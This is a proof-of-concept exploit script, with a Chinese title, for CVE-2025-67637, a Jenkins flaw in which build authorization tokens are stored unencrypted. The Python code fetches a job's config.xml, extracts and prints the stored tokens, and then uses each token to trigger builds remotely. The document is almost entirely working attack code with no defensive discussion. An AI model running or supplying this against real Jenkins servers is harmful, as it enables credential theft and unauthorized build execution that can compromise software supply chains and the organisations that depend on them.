CVE-2025-67637 Jenkins构建授权令牌未加密存储漏洞

# CVE-2025-67637 PoC - Jenkins Build Authorization Token Extraction # This PoC demonstrates how to extract unencrypted build authorization tokens from Jenkins config.xml import requests from xml.etree import ElementTree as ET import sys def extract_jenkins_tokens(jenkins_url, job_name, username=None): """ Extract build authorization tokens from Jenkins job config.xml """ # Method 1: Via Jenkins Web Interface with Item/Extended Read permission config_url = f"{jenkins_url}/job/{job_name}/config.xml" headers = { 'Accept': 'application/xml' } if username: # Authenticate with username if required response = requests.get(config_url, headers=headers, auth=(username, '')) else: response = requests.get(config_url, headers=headers) if response.status_code == 200: # Parse XML to find authorization tokens root = ET.fromstring(response.content) # Jenkins stores tokens in <authorizationToken> tag tokens = [] for token in root.iter('authorizationToken'): if token.text: tokens.append(token.text) return tokens else: print(f"[-] Failed to access config.xml: HTTP {response.status_code}") return [] def trigger_build_with_token(jenkins_url, job_name, token): """ Trigger Jenkins build using extracted authorization token """ build_url = f"{jenkins_url}/job/{job_name}/build" params = { 'token': token } response = requests.post(build_url, params=params) if response.status_code in [200, 201, 302]: print(f"[+] Build triggered successfully with token") else: print(f"[-] Build trigger failed: HTTP {response.status_code}") # Example usage if __name__ == "__main__": jenkins_url = "http://jenkins-server:8080" job_name = "example-job" print(f"[*] Extracting tokens from {jenkins_url}/job/{job_name}/config.xml") tokens = extract_jenkins_tokens(jenkins_url, job_name) if tokens: print(f"[+] Found {len(tokens)} authorization token(s):") for i, token in enumerate(tokens, 1): print(f" Token {i}: {token}") # Attempt to trigger build trigger_build_with_token(jenkins_url, job_name, token) else: print("[-] No authorization tokens found")